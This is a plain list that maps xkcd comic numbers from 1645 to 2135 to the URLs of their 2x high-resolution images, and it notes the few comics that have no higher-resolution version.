1645: https://imgs.xkcd.com/comics/toasts_2x.png
1646: https://imgs.xkcd.com/comics/twitter_bot_2x.png
1647: https://imgs.xkcd.com/comics/diacritics_2x.png
1648: https://imgs.xkcd.com/comics/famous_duos_2x.png
1649: https://imgs.xkcd.com/comics/pipelines_2x.png
1650: https://imgs.xkcd.com/comics/baby_2x.png
1651: https://imgs.xkcd.com/comics/robotic_garage_2x.png
1652: https://imgs.xkcd.com/comics/conditionals_2x.png
1653: https://imgs.xkcd.com/comics/united_states_map_2x.png
1654: https://imgs.xkcd.com/comics/universal_install_script_2x.png
1655: https://imgs.xkcd.com/comics/doomsday_clock_2x.png
1656: https://imgs.xkcd.com/comics/it_begins_2x.png
1657: https://imgs.xkcd.com/comics/insanity_2x.png
1658: https://imgs.xkcd.com/comics/estimating_time_2x.png
1659: https://imgs.xkcd.com/comics/tire_swing_2x.png
1660: https://imgs.xkcd.com/comics/captain_speaking_2x.png
1661: https://imgs.xkcd.com/comics/podium_2x.png
1662: https://imgs.xkcd.com/comics/jack_and_jill_2x.png
1663: No higher res available
1664: https://imgs.xkcd.com/comics/mycology_2x.png
1665: https://imgs.xkcd.com/comics/city_talk_pages_2x.png
1666: https://imgs.xkcd.com/comics/brain_upload_2x.png
1667: No higher res available
1668: https://imgs.xkcd.com/comics/singularity_2x.png
1669: https://imgs.xkcd.com/comics/planespotting_2x.png
1670: https://imgs.xkcd.com/comics/laws_of_physics_2x.png
1671: https://imgs.xkcd.com/comics/arcane_bullshit_2x.png
1672: https://imgs.xkcd.com/comics/women_on_20s_2x.png
1673: https://imgs.xkcd.com/comics/timeline_of_bicycle_design_2x.png
1674: https://imgs.xkcd.com/comics/adult_2x.png
1675: https://imgs.xkcd.com/comics/message_in_a_bottle_2x.png
1676: https://imgs.xkcd.com/comics/full_width_justification_2x.png
1677: https://imgs.xkcd.com/comics/contrails_2x.png
1678: https://imgs.xkcd.com/comics/recent_searches_2x.png
1679: https://imgs.xkcd.com/comics/substitutions_3_2x.png
1680: https://imgs.xkcd.com/comics/black_hole_2x.png
1681: https://imgs.xkcd.com/comics/laser_products_2x.png
1682: https://imgs.xkcd.com/comics/bun_2x.png
1683: https://imgs.xkcd.com/comics/digital_data_2x.png
1684: https://imgs.xkcd.com/comics/rainbow_2x.png
1685: https://imgs.xkcd.com/comics/patch_2x.png
1686: https://imgs.xkcd.com/comics/feel_old_2x.png
1687: https://imgs.xkcd.com/comics/world_war_iii_2x.png
1688: https://imgs.xkcd.com/comics/map_age_guide_2x.png
1689: https://imgs.xkcd.com/comics/my_friend_catherine_2x.png
1690: https://imgs.xkcd.com/comics/time_tracking_software_2x.png
1691: https://imgs.xkcd.com/comics/optimization_2x.png
1692: https://imgs.xkcd.com/comics/man_page_2x.png
1693: https://imgs.xkcd.com/comics/oxidation_2x.png
1694: https://imgs.xkcd.com/comics/phishing_license_2x.png
1695: https://imgs.xkcd.com/comics/code_quality_2_2x.png
1696: https://imgs.xkcd.com/comics/ai_research_2x.png
1697: https://imgs.xkcd.com/comics/intervocalic_fortition_2x.png
1698: https://imgs.xkcd.com/comics/theft_quadrants_2x.png
1699: https://imgs.xkcd.com/comics/local_news_2x.png
1700: https://imgs.xkcd.com/comics/new_bug_2x.png
1701: https://imgs.xkcd.com/comics/speed_and_danger_2x.png
1702: https://imgs.xkcd.com/comics/home_itch_remedies_2x.png
1703: https://imgs.xkcd.com/comics/juno_2x.png
1704: https://imgs.xkcd.com/comics/gnome_ann_2x.png
1705: https://imgs.xkcd.com/comics/pokemon_go_2x.png
1706: https://imgs.xkcd.com/comics/genetic_testing_2x.png
1707: https://imgs.xkcd.com/comics/xkcd_phone_4_2x.png
1708: https://imgs.xkcd.com/comics/dehydration_2x.png
1709: https://imgs.xkcd.com/comics/inflection_2x.png
1710: https://imgs.xkcd.com/comics/walking_into_things_2x.png
1711: https://imgs.xkcd.com/comics/snapchat_2x.png
1712: https://imgs.xkcd.com/comics/politifact_2x.png
1713: https://imgs.xkcd.com/comics/50_ccs_2x.png
1714: https://imgs.xkcd.com/comics/volcano_types_2x.png
1715: https://imgs.xkcd.com/comics/household_tips_2x.png
1716: https://imgs.xkcd.com/comics/time_travel_thesis_2x.png
1717: https://imgs.xkcd.com/comics/pyramid_honey_2x.png
1718: https://imgs.xkcd.com/comics/backups_2x.png
1719: https://imgs.xkcd.com/comics/superzoom_2x.png
1720: https://imgs.xkcd.com/comics/horses_2x.png
1721: https://imgs.xkcd.com/comics/business_idea_2x.png
1722: https://imgs.xkcd.com/comics/debugging_2x.png
1723: https://imgs.xkcd.com/comics/meteorite_identification_2x.png
1724: https://imgs.xkcd.com/comics/proofs_2x.png
1725: https://imgs.xkcd.com/comics/linear_regression_2x.png
1726: https://imgs.xkcd.com/comics/unicode_2x.png
1727: https://imgs.xkcd.com/comics/number_of_computers_2x.png
1728: https://imgs.xkcd.com/comics/cron_mail_2x.png
1729: https://imgs.xkcd.com/comics/migrating_geese_2x.png
1730: https://imgs.xkcd.com/comics/starshade_2x.png
1731: https://imgs.xkcd.com/comics/wrong_2x.png
1732: https://imgs.xkcd.com/comics/earth_temperature_timeline_2x.png
1733: https://imgs.xkcd.com/comics/solar_spectrum_2x.png
1734: https://imgs.xkcd.com/comics/reductionism_2x.png
1735: No higher res available
1736: https://imgs.xkcd.com/comics/manhattan_project_2x.png
1737: https://imgs.xkcd.com/comics/datacenter_scale_2x.png
1738: https://imgs.xkcd.com/comics/moon_shapes_2x.png
1739: No higher res available
1740: https://imgs.xkcd.com/comics/rosetta_2x.png
1741: https://imgs.xkcd.com/comics/work_2x.png
1742: https://imgs.xkcd.com/comics/will_it_work_2x.png
1743: https://imgs.xkcd.com/comics/coffee_2x.png
1744: No higher res available
1745: https://imgs.xkcd.com/comics/record_scratch_2x.png
1746: https://imgs.xkcd.com/comics/making_friends_2x.png
1747: https://imgs.xkcd.com/comics/spider_paleontology_2x.png
1748: https://imgs.xkcd.com/comics/future_archaeology_2x.png
1749: https://imgs.xkcd.com/comics/mushrooms_2x.png
1750: https://imgs.xkcd.com/comics/life_goals_2x.png
1751: https://imgs.xkcd.com/comics/movie_folder_2x.png
1752: https://imgs.xkcd.com/comics/interplanetary_experience_2x.png
1753: https://imgs.xkcd.com/comics/thumb_war_2x.png
1754: https://imgs.xkcd.com/comics/tornado_safety_tips_2x.png
1755: https://imgs.xkcd.com/comics/old_days_2x.png
1756: https://imgs.xkcd.com/comics/im_with_her_2x.png
1757: https://imgs.xkcd.com/comics/november_2016_2x.png
1758: https://imgs.xkcd.com/comics/astrophysics_2x.png
1759: https://imgs.xkcd.com/comics/british_map_2x.png
1760: https://imgs.xkcd.com/comics/tv_problems_2x.png
1761: https://imgs.xkcd.com/comics/blame_2x.png
1762: https://imgs.xkcd.com/comics/moving_boxes_2x.png
1763: https://imgs.xkcd.com/comics/catcalling_2x.png
1764: https://imgs.xkcd.com/comics/xkcde_2x.png
1765: https://imgs.xkcd.com/comics/baby_post_2x.png
1766: https://imgs.xkcd.com/comics/apple_spectrum_2x.png
1767: https://imgs.xkcd.com/comics/us_state_names_2x.png
1768: https://imgs.xkcd.com/comics/settling_2x.png
1769: https://imgs.xkcd.com/comics/never_seen_star_wars_2x.png
1770: https://imgs.xkcd.com/comics/ui_change_2x.png
1771: https://imgs.xkcd.com/comics/it_was_i_2x.png
1772: https://imgs.xkcd.com/comics/startup_opportunity_2x.png
1773: https://imgs.xkcd.com/comics/negativity_2x.png
1774: https://imgs.xkcd.com/comics/adjective_foods_2x.png
1775: https://imgs.xkcd.com/comics/things_you_learn_2x.png
1776: https://imgs.xkcd.com/comics/reindeer_2x.png
1777: https://imgs.xkcd.com/comics/dear_diary_2x.png
1778: No higher res available
1779: https://imgs.xkcd.com/comics/2017_2x.png
1780: https://imgs.xkcd.com/comics/appliance_repair_2x.png
1781: https://imgs.xkcd.com/comics/artifacts_2x.png
1782: https://imgs.xkcd.com/comics/team_chat_2x.png
1783: https://imgs.xkcd.com/comics/emails_2x.png
1784: https://imgs.xkcd.com/comics/bad_map_projection_liquid_resize_2x.png
1785: https://imgs.xkcd.com/comics/wifi_2x.png
1786: https://imgs.xkcd.com/comics/trash_2x.png
1787: https://imgs.xkcd.com/comics/voice_commands_2x.png
1788: https://imgs.xkcd.com/comics/barge_2x.png
1789: https://imgs.xkcd.com/comics/phone_numbers_2x.png
1790: https://imgs.xkcd.com/comics/sad_2x.png
1791: https://imgs.xkcd.com/comics/telescopes_refractor_vs_reflector_2x.png
1792: https://imgs.xkcd.com/comics/bird_plane_superman_2x.png
1793: https://imgs.xkcd.com/comics/soda_sugar_comparisons_2x.png
1794: https://imgs.xkcd.com/comics/fire_2x.png
1795: https://imgs.xkcd.com/comics/all_you_can_eat_2x.png
1796: https://imgs.xkcd.com/comics/focus_knob_2x.png
1797: https://imgs.xkcd.com/comics/stardew_valley_2x.png
1798: https://imgs.xkcd.com/comics/box_plot_2x.png
1799: https://imgs.xkcd.com/comics/bad_map_projection_time_zones_2x.png
1800: https://imgs.xkcd.com/comics/chess_notation_2x.png
1801: https://imgs.xkcd.com/comics/decision_paralysis_2x.png
1802: https://imgs.xkcd.com/comics/phone_2x.png
1803: https://imgs.xkcd.com/comics/location_reviews_2x.png
1804: https://imgs.xkcd.com/comics/video_content_2x.png
1805: https://imgs.xkcd.com/comics/unpublished_discoveries_2x.png
1806: https://imgs.xkcd.com/comics/borrow_your_laptop_2x.png
1807: https://imgs.xkcd.com/comics/listening_2x.png
1808: https://imgs.xkcd.com/comics/hacking_2x.png
1809: https://imgs.xkcd.com/comics/xkcd_phone_5_2x.png
1810: https://imgs.xkcd.com/comics/chat_systems_2x.png
1811: https://imgs.xkcd.com/comics/best_tasting_colors_2x.png
1812: https://imgs.xkcd.com/comics/onboarding_2x.png
1813: https://imgs.xkcd.com/comics/vomiting_emoji_2x.png
1814: https://imgs.xkcd.com/comics/color_pattern_2x.png
1815: https://imgs.xkcd.com/comics/flag_2x.png
1816: https://imgs.xkcd.com/comics/mispronunciation_2x.png
1817: https://imgs.xkcd.com/comics/incognito_mode_2x.png
1818: https://imgs.xkcd.com/comics/rayleigh_scattering_2x.png
1819: https://imgs.xkcd.com/comics/sweet_16_2x.png
1820: https://imgs.xkcd.com/comics/security_advice_2x.png
1821: https://imgs.xkcd.com/comics/incinerator_2x.png
1822: https://imgs.xkcd.com/comics/existential_bug_reports_2x.png
1823: https://imgs.xkcd.com/comics/hottest_editors_2x.png
1824: https://imgs.xkcd.com/comics/identification_chart_2x.png
1825: https://imgs.xkcd.com/comics/7_eleven_2x.png
1826: https://imgs.xkcd.com/comics/birdwatching_2x.png
1827: https://imgs.xkcd.com/comics/survivorship_bias_2x.png
1828: https://imgs.xkcd.com/comics/iss_solar_transit_2x.png
1829: https://imgs.xkcd.com/comics/geochronology_2x.png
1830: https://imgs.xkcd.com/comics/iss_solar_transit_2_2x.png
1831: https://imgs.xkcd.com/comics/here_to_help_2x.png
1832: https://imgs.xkcd.com/comics/photo_library_management_2x.png
1833: https://imgs.xkcd.com/comics/code_quality_3_2x.png
1834: https://imgs.xkcd.com/comics/lunch_order_2x.png
1835: https://imgs.xkcd.com/comics/random_obsessions_2x.png
1836: https://imgs.xkcd.com/comics/okeanos_2x.png
1837: https://imgs.xkcd.com/comics/rental_car_2x.png
1838: https://imgs.xkcd.com/comics/machine_learning_2x.png
1839: https://imgs.xkcd.com/comics/doctor_visit_2x.png
1840: https://imgs.xkcd.com/comics/genetic_testing_results_2x.png
1841: https://imgs.xkcd.com/comics/who_2x.png
1842: https://imgs.xkcd.com/comics/anti_drone_eagles_2x.png
1843: https://imgs.xkcd.com/comics/opening_crawl_2x.png
1844: https://imgs.xkcd.com/comics/voting_systems_2x.png
1845: https://imgs.xkcd.com/comics/state_word_map_2x.png
1846: https://imgs.xkcd.com/comics/drone_problems_2x.png
1847: https://imgs.xkcd.com/comics/dubious_study_2x.png
1848: https://imgs.xkcd.com/comics/glacial_erratic_2x.png
1849: https://imgs.xkcd.com/comics/decades_2x.png
1850: https://imgs.xkcd.com/comics/air_force_museum_2x.png
1851: https://imgs.xkcd.com/comics/magnetohydrodynamics_2x.png
1852: https://imgs.xkcd.com/comics/election_map_2x.png
1853: https://imgs.xkcd.com/comics/once_per_day_2x.png
1854: https://imgs.xkcd.com/comics/refresh_types_2x.png
1855: https://imgs.xkcd.com/comics/telephoto_2x.png
1856: https://imgs.xkcd.com/comics/existence_proof_2x.png
1857: https://imgs.xkcd.com/comics/emoji_movie_2x.png
1858: https://imgs.xkcd.com/comics/4th_of_july_2x.png
1859: https://imgs.xkcd.com/comics/sports_knowledge_2x.png
1860: https://imgs.xkcd.com/comics/communicating_2x.png
1861: https://imgs.xkcd.com/comics/quantum_2x.png
1862: https://imgs.xkcd.com/comics/particle_properties_2x.png
1863: https://imgs.xkcd.com/comics/screenshots_2x.png
1864: https://imgs.xkcd.com/comics/city_nicknames_2x.png
1865: https://imgs.xkcd.com/comics/wifi_vs_cellular_2x.png
1866: https://imgs.xkcd.com/comics/russells_teapot_2x.png
1867: https://imgs.xkcd.com/comics/physics_confession_2x.png
1868: https://imgs.xkcd.com/comics/eclipse_flights_2x.png
1869: https://imgs.xkcd.com/comics/positive_and_negative_reviews_2x.png
1870: https://imgs.xkcd.com/comics/emoji_movie_reviews_2x.png
1871: https://imgs.xkcd.com/comics/bun_alert_2x.png
1872: https://imgs.xkcd.com/comics/backup_batteries_2x.png
1873: https://imgs.xkcd.com/comics/email_reply_2x.png
1874: https://imgs.xkcd.com/comics/geologic_faults_2x.png
1875: https://imgs.xkcd.com/comics/computers_vs_humans_2x.png
1876: https://imgs.xkcd.com/comics/eclipse_searches_2x.png
1877: https://imgs.xkcd.com/comics/eclipse_science_2x.png
1878: https://imgs.xkcd.com/comics/earth_orbital_diagram_2x.png
1879: https://imgs.xkcd.com/comics/eclipse_birds_2x.png
1880: https://imgs.xkcd.com/comics/eclipse_review_2x.png
1881: https://imgs.xkcd.com/comics/drone_training_2x.png
1882: https://imgs.xkcd.com/comics/color_models_2x.png
1883: https://imgs.xkcd.com/comics/supervillain_plan_2x.png
1884: https://imgs.xkcd.com/comics/ringer_volume_media_volume_2x.png
1885: https://imgs.xkcd.com/comics/ensemble_model_2x.png
1886: https://imgs.xkcd.com/comics/typing_notifications_2x.png
1887: https://imgs.xkcd.com/comics/two_down_one_to_go_2x.png
1888: https://imgs.xkcd.com/comics/still_in_use_2x.png
1889: https://imgs.xkcd.com/comics/xkcd_phone_6_2x.png
1890: https://imgs.xkcd.com/comics/what_to_bring_2x.png
1891: https://imgs.xkcd.com/comics/obsolete_technology_2x.png
1892: https://imgs.xkcd.com/comics/usb_cables_2x.png
1893: https://imgs.xkcd.com/comics/thread_2x.png
1894: https://imgs.xkcd.com/comics/real_estate_2x.png
1895: https://imgs.xkcd.com/comics/worrying_scientist_interviews_2x.png
1896: https://imgs.xkcd.com/comics/active_ingredients_only_2x.png
1897: https://imgs.xkcd.com/comics/self_driving_2x.png
1898: https://imgs.xkcd.com/comics/october_2017_2x.png
1899: https://imgs.xkcd.com/comics/ears_2x.png
1900: https://imgs.xkcd.com/comics/jet_lag_2x.png
1901: https://imgs.xkcd.com/comics/logical_2x.png
1902: https://imgs.xkcd.com/comics/state_borders_2x.png
1903: https://imgs.xkcd.com/comics/bun_trend_2x.png
1904: https://imgs.xkcd.com/comics/research_risks_2x.png
1905: https://imgs.xkcd.com/comics/cast_iron_pans_2x.png
1906: https://imgs.xkcd.com/comics/making_progress_2x.png
1907: https://imgs.xkcd.com/comics/immune_system_2x.png
1908: https://imgs.xkcd.com/comics/credit_card_rewards_2x.png
1909: https://imgs.xkcd.com/comics/digital_resource_lifespan_2x.png
1910: https://imgs.xkcd.com/comics/sky_spotters_2x.png
1911: https://imgs.xkcd.com/comics/defensive_profile_2x.png
1912: https://imgs.xkcd.com/comics/thermostat_2x.png
1913: https://imgs.xkcd.com/comics/i_2x.png
1914: https://imgs.xkcd.com/comics/twitter_verification_2x.png
1915: https://imgs.xkcd.com/comics/nightmare_email_feature_2x.png
1916: https://imgs.xkcd.com/comics/temperature_preferences_2x.png
1917: https://imgs.xkcd.com/comics/how_to_make_friends_2x.png
1918: https://imgs.xkcd.com/comics/nexus_2x.png
1919: https://imgs.xkcd.com/comics/interstellar_asteroid_2x.png
1920: https://imgs.xkcd.com/comics/emoji_sports_2x.png
1921: https://imgs.xkcd.com/comics/the_moon_and_the_great_wall_2x.png
1922: https://imgs.xkcd.com/comics/interferometry_2x.png
1923: https://imgs.xkcd.com/comics/felsius_2x.png
1924: https://imgs.xkcd.com/comics/solar_panels_2x.png
1925: https://imgs.xkcd.com/comics/self_driving_car_milestones_2x.png
1926: https://imgs.xkcd.com/comics/bad_code_2x.png
1927: https://imgs.xkcd.com/comics/tinder_2x.png
1928: https://imgs.xkcd.com/comics/seven_years_2x.png
1929: https://imgs.xkcd.com/comics/argument_timing_2x.png
1930: https://imgs.xkcd.com/comics/calendar_facts_2x.png
1931: https://imgs.xkcd.com/comics/virtual_assistant_2x.png
1932: https://imgs.xkcd.com/comics/the_true_meaning_of_christmas_2x.png
1933: https://imgs.xkcd.com/comics/santa_facts_2x.png
1934: https://imgs.xkcd.com/comics/phone_security_2x.png
1935: https://imgs.xkcd.com/comics/2018_2x.png
1936: https://imgs.xkcd.com/comics/desert_golfing_2x.png
1937: https://imgs.xkcd.com/comics/iata_airport_abbreviations_2x.png
1938: https://imgs.xkcd.com/comics/meltdown_and_spectre_2x.png
1939: https://imgs.xkcd.com/comics/2016_election_map_2x.png
1940: https://imgs.xkcd.com/comics/the_food_size_cycle_2x.png
1941: https://imgs.xkcd.com/comics/dying_gift_2x.png
1942: https://imgs.xkcd.com/comics/memorable_quotes_2x.png
1943: https://imgs.xkcd.com/comics/universal_dreams_2x.png
1944: https://imgs.xkcd.com/comics/the_end_of_the_rainbow_2x.png
1945: https://imgs.xkcd.com/comics/scientific_paper_graph_quality_2x.png
1946: https://imgs.xkcd.com/comics/hawaii_2x.png
1947: https://imgs.xkcd.com/comics/night_sky_2x.png
1948: https://imgs.xkcd.com/comics/campaign_fundraising_emails_2x.png
1949: https://imgs.xkcd.com/comics/fruit_collider_2x.png
1950: https://imgs.xkcd.com/comics/chicken_pox_and_name_statistics_2x.png
1951: https://imgs.xkcd.com/comics/super_bowl_watch_party_2x.png
1952: https://imgs.xkcd.com/comics/backpack_decisions_2x.png
1953: https://imgs.xkcd.com/comics/the_history_of_unicode_2x.png
1954: https://imgs.xkcd.com/comics/impostor_syndrome_2x.png
1955: https://imgs.xkcd.com/comics/robots_2x.png
1956: https://imgs.xkcd.com/comics/unification_2x.png
1957: https://imgs.xkcd.com/comics/2018_cve_list_2x.png
1958: https://imgs.xkcd.com/comics/self_driving_issues_2x.png
1959: https://imgs.xkcd.com/comics/the_simpsons_2x.png
1960: https://imgs.xkcd.com/comics/code_golf_2x.png
1961: https://imgs.xkcd.com/comics/interaction_2x.png
1962: https://imgs.xkcd.com/comics/generations_2x.png
1963: https://imgs.xkcd.com/comics/namespace_land_rush_2x.png
1964: https://imgs.xkcd.com/comics/spatial_orientation_2x.png
1965: https://imgs.xkcd.com/comics/background_apps_2x.png
1966: https://imgs.xkcd.com/comics/smart_home_security_2x.png
1967: https://imgs.xkcd.com/comics/violin_plots_2x.png
1968: https://imgs.xkcd.com/comics/robot_future_2x.png
1969: https://imgs.xkcd.com/comics/not_available_2x.png
1970: https://imgs.xkcd.com/comics/name_dominoes_2x.png
1971: https://imgs.xkcd.com/comics/personal_data_2x.png
1972: https://imgs.xkcd.com/comics/autogyros_2x.png
1973: https://imgs.xkcd.com/comics/star_lore_2x.png
1974: https://imgs.xkcd.com/comics/conversational_dynamics_2x.png
1975: https://imgs.xkcd.com/comics/right_click_2x.png
1976: https://imgs.xkcd.com/comics/friendly_questions_2x.png
1977: https://imgs.xkcd.com/comics/paperwork_2x.png
1978: https://imgs.xkcd.com/comics/congressional_testimony_2x.png
1979: https://imgs.xkcd.com/comics/history_2x.png
1980: https://imgs.xkcd.com/comics/turkish_delight_2x.png
1981: https://imgs.xkcd.com/comics/rickrolling_anniversary_2x.png
1982: https://imgs.xkcd.com/comics/evangelism_2x.png
1983: https://imgs.xkcd.com/comics/clutter_2x.png
1984: https://imgs.xkcd.com/comics/misinterpretation_2x.png
1985: https://imgs.xkcd.com/comics/meteorologist_2x.png
1986: https://imgs.xkcd.com/comics/river_border_2x.png
1987: https://imgs.xkcd.com/comics/python_environment_2x.png
1988: https://imgs.xkcd.com/comics/containers_2x.png
1989: https://imgs.xkcd.com/comics/imho_2x.png
1990: https://imgs.xkcd.com/comics/driving_cars_2x.png
1991: https://imgs.xkcd.com/comics/research_areas_by_size_and_countedness_2x.png
1992: https://imgs.xkcd.com/comics/safetysat_2x.png
1993: https://imgs.xkcd.com/comics/fatal_crash_rate_2x.png
1994: https://imgs.xkcd.com/comics/repairs_2x.png
1995: https://imgs.xkcd.com/comics/mc_hammer_age_2x.png
1996: https://imgs.xkcd.com/comics/morning_news_2x.png
1997: https://imgs.xkcd.com/comics/business_update_2x.png
1998: https://imgs.xkcd.com/comics/gdpr_2x.png
1999: https://imgs.xkcd.com/comics/selection_effect_2x.png
2000: https://imgs.xkcd.com/comics/xkcd_phone_2000_2x.png
2001: https://imgs.xkcd.com/comics/clickbait_corrected_p_value_2x.png
2002: https://imgs.xkcd.com/comics/lebron_james_and_stephen_curry_2x.png
2003: https://imgs.xkcd.com/comics/presidential_succession_2x.png
2004: https://imgs.xkcd.com/comics/sun_and_earth_2x.png
2005: https://imgs.xkcd.com/comics/attention_span_2x.png
2006: https://imgs.xkcd.com/comics/customer_rewards_2x.png
2007: https://imgs.xkcd.com/comics/brookhaven_rhic_2x.png
2008: https://imgs.xkcd.com/comics/irony_definition_2x.png
2009: https://imgs.xkcd.com/comics/hertzsprung_russell_diagram_2x.png
2010: https://imgs.xkcd.com/comics/update_notes_2x.png
2011: https://imgs.xkcd.com/comics/newtons_trajectories_2x.png
2012: https://imgs.xkcd.com/comics/thorough_analysis_2x.png
2013: https://imgs.xkcd.com/comics/rock_2x.png
2014: https://imgs.xkcd.com/comics/jwst_delays_2x.png
2015: https://imgs.xkcd.com/comics/new_phone_thread_2x.png
2016: https://imgs.xkcd.com/comics/oeis_submissions_2x.png
2017: https://imgs.xkcd.com/comics/stargazing_2_2x.png
2018: https://imgs.xkcd.com/comics/wall_art_2x.png
2019: https://imgs.xkcd.com/comics/an_apple_for_a_dollar_2x.png
2020: https://imgs.xkcd.com/comics/negative_results_2x.png
2021: https://imgs.xkcd.com/comics/software_development_2x.png
2022: https://imgs.xkcd.com/comics/sports_champions_2x.png
2023: https://imgs.xkcd.com/comics/y_axis_2x.png
2024: https://imgs.xkcd.com/comics/light_hacks_2x.png
2025: https://imgs.xkcd.com/comics/peer_review_2x.png
2026: https://imgs.xkcd.com/comics/heat_index_2x.png
2027: https://imgs.xkcd.com/comics/lightning_distance_2x.png
2028: https://imgs.xkcd.com/comics/complex_numbers_2x.png
2029: https://imgs.xkcd.com/comics/disaster_movie_2x.png
2030: https://imgs.xkcd.com/comics/voting_software_2x.png
2031: https://imgs.xkcd.com/comics/pie_charts_2x.png
2032: https://imgs.xkcd.com/comics/word_puzzles_2x.png
2033: https://imgs.xkcd.com/comics/repair_or_replace_2x.png
2034: https://imgs.xkcd.com/comics/equations_2x.png
2035: https://imgs.xkcd.com/comics/dark_matter_candidates_2x.png
2036: https://imgs.xkcd.com/comics/edgelord_2x.png
2037: https://imgs.xkcd.com/comics/supreme_court_bracket_2x.png
2038: https://imgs.xkcd.com/comics/hazard_symbol_2x.png
2039: https://imgs.xkcd.com/comics/begging_the_question_2x.png
2040: https://imgs.xkcd.com/comics/sibling_in_law_2x.png
2041: https://imgs.xkcd.com/comics/frontiers_2x.png
2042: https://imgs.xkcd.com/comics/rolles_theorem_2x.png
2043: https://imgs.xkcd.com/comics/boathouses_and_houseboats_2x.png
2044: https://imgs.xkcd.com/comics/sandboxing_cycle_2x.png
2045: https://imgs.xkcd.com/comics/social_media_announcement_2x.png
2046: https://imgs.xkcd.com/comics/trum_2x.png
2047: https://imgs.xkcd.com/comics/beverages_2x.png
2048: https://imgs.xkcd.com/comics/curve_fitting_2x.png
2049: https://imgs.xkcd.com/comics/unfulfilling_toys_2x.png
2050: https://imgs.xkcd.com/comics/6_6_time_2x.png
2051: https://imgs.xkcd.com/comics/bad_opinions_2x.png
2052: https://imgs.xkcd.com/comics/stanislav_petrov_day_2x.png
2053: https://imgs.xkcd.com/comics/incoming_calls_2x.png
2054: https://imgs.xkcd.com/comics/data_pipeline_2x.png
2055: https://imgs.xkcd.com/comics/bluetooth_2x.png
2056: https://imgs.xkcd.com/comics/horror_movies_2x.png
2057: https://imgs.xkcd.com/comics/internal_monologues_2x.png
2058: https://imgs.xkcd.com/comics/rock_wall_2x.png
2059: https://imgs.xkcd.com/comics/modified_bayes_theorem_2x.png
2060: https://imgs.xkcd.com/comics/hygrometer_2x.png
2061: https://imgs.xkcd.com/comics/tectonics_game_2x.png
2062: https://imgs.xkcd.com/comics/barnards_star_2x.png
2063: https://imgs.xkcd.com/comics/carnot_cycle_2x.png
2064: https://imgs.xkcd.com/comics/im_a_car_2x.png
2065: https://imgs.xkcd.com/comics/who_sends_the_first_text_2x.png
2066: https://imgs.xkcd.com/comics/ballot_selfies_2x.png
2067: https://imgs.xkcd.com/comics/challengers_2x.png
2068: https://imgs.xkcd.com/comics/election_night_2x.png
2069: https://imgs.xkcd.com/comics/wishlist_2x.png
2070: https://imgs.xkcd.com/comics/trig_identities_2x.png
2071: https://imgs.xkcd.com/comics/indirect_detection_2x.png
2072: https://imgs.xkcd.com/comics/evaluating_tech_things_2x.png
2073: https://imgs.xkcd.com/comics/kilogram_2x.png
2074: https://imgs.xkcd.com/comics/airplanes_and_spaceships_2x.png
2075: https://imgs.xkcd.com/comics/update_your_address_2x.png
2076: https://imgs.xkcd.com/comics/horror_movies_2_2x.png
2077: https://imgs.xkcd.com/comics/heist_2x.png
2078: https://imgs.xkcd.com/comics/popper_2x.png
2079: https://imgs.xkcd.com/comics/alpha_centauri_2x.png
2080: https://imgs.xkcd.com/comics/cohort_and_age_effects_2x.png
2081: https://imgs.xkcd.com/comics/middle_latitudes_2x.png
2082: https://imgs.xkcd.com/comics/mercator_projection_2x.png
2083: https://imgs.xkcd.com/comics/laptop_issues_2x.png
2084: https://imgs.xkcd.com/comics/fdr_2x.png
2085: https://imgs.xkcd.com/comics/arxiv_2x.png
2086: https://imgs.xkcd.com/comics/history_department_2x.png
2087: https://imgs.xkcd.com/comics/rocket_launch_2x.png
2088: https://imgs.xkcd.com/comics/schwarzschilds_cat_2x.png
2089: https://imgs.xkcd.com/comics/christmas_eve_eve_2x.png
2090: https://imgs.xkcd.com/comics/feathered_dinosaur_venn_diagram_2x.png
2091: https://imgs.xkcd.com/comics/million_billion_trillion_2x.png
2092: https://imgs.xkcd.com/comics/consensus_new_year_2x.png
2093: https://imgs.xkcd.com/comics/reminders_2x.png
2094: https://imgs.xkcd.com/comics/short_selling_2x.png
2095: https://imgs.xkcd.com/comics/marsiforming_2x.png
2096: https://imgs.xkcd.com/comics/mattresses_2x.png
2097: https://imgs.xkcd.com/comics/thor_tools_2x.png
2098: https://imgs.xkcd.com/comics/magnetic_pole_2x.png
2099: https://imgs.xkcd.com/comics/missal_of_silos_2x.png
2100: https://imgs.xkcd.com/comics/models_of_the_atom_2x.png
2101: https://imgs.xkcd.com/comics/technical_analysis_2x.png
2102: https://imgs.xkcd.com/comics/internet_archive_2x.png
2103: https://imgs.xkcd.com/comics/midcontinent_rift_system_2x.png
2104: https://imgs.xkcd.com/comics/biff_tannen_2x.png
2105: https://imgs.xkcd.com/comics/modern_osi_model_2x.png
2106: https://imgs.xkcd.com/comics/sharing_options_2x.png
2107: https://imgs.xkcd.com/comics/launch_risk_2x.png
2108: https://imgs.xkcd.com/comics/carbonated_beverage_language_map_2x.png
2109: https://imgs.xkcd.com/comics/invisible_formatting_2x.png
2110: https://imgs.xkcd.com/comics/error_bars_2x.png
2111: https://imgs.xkcd.com/comics/opportunity_rover_2x.png
2112: https://imgs.xkcd.com/comics/night_shift_2x.png
2113: https://imgs.xkcd.com/comics/physics_suppression_2x.png
2114: https://imgs.xkcd.com/comics/launch_conditions_2x.png
2115: https://imgs.xkcd.com/comics/plutonium_2x.png
2116: https://imgs.xkcd.com/comics/norm_normal_file_format_2x.png
2117: https://imgs.xkcd.com/comics/differentiation_and_integration_2x.png
2118: https://imgs.xkcd.com/comics/normal_distribution_2x.png
2119: https://imgs.xkcd.com/comics/video_orientation_2x.png
2120: https://imgs.xkcd.com/comics/brain_hemispheres_2x.png
2121: https://imgs.xkcd.com/comics/light_pollution_2x.png
2122: https://imgs.xkcd.com/comics/size_venn_diagram_2x.png
2123: https://imgs.xkcd.com/comics/meta_collecting_2x.png
2124: https://imgs.xkcd.com/comics/space_mission_hearing_2x.png
2125: https://imgs.xkcd.com/comics/luna_2_2x.png
2126: https://imgs.xkcd.com/comics/google_trends_maps_2x.png
2127: https://imgs.xkcd.com/comics/panama_canal_2x.png
2128: https://imgs.xkcd.com/comics/new_robot_2x.png
2129: https://imgs.xkcd.com/comics/1921_fact_checker_2x.png
2130: https://imgs.xkcd.com/comics/industry_nicknames_2x.png
2131: https://imgs.xkcd.com/comics/emojidome_2x.png
2132: https://imgs.xkcd.com/comics/percentage_styles_2x.png
2133: https://imgs.xkcd.com/comics/eht_black_hole_picture_2x.png
2134: https://imgs.xkcd.com/comics/too_much_talking_2x.png
2135: https://imgs.xkcd.com/comics/m87_black_hole_size_comparison_2x.png
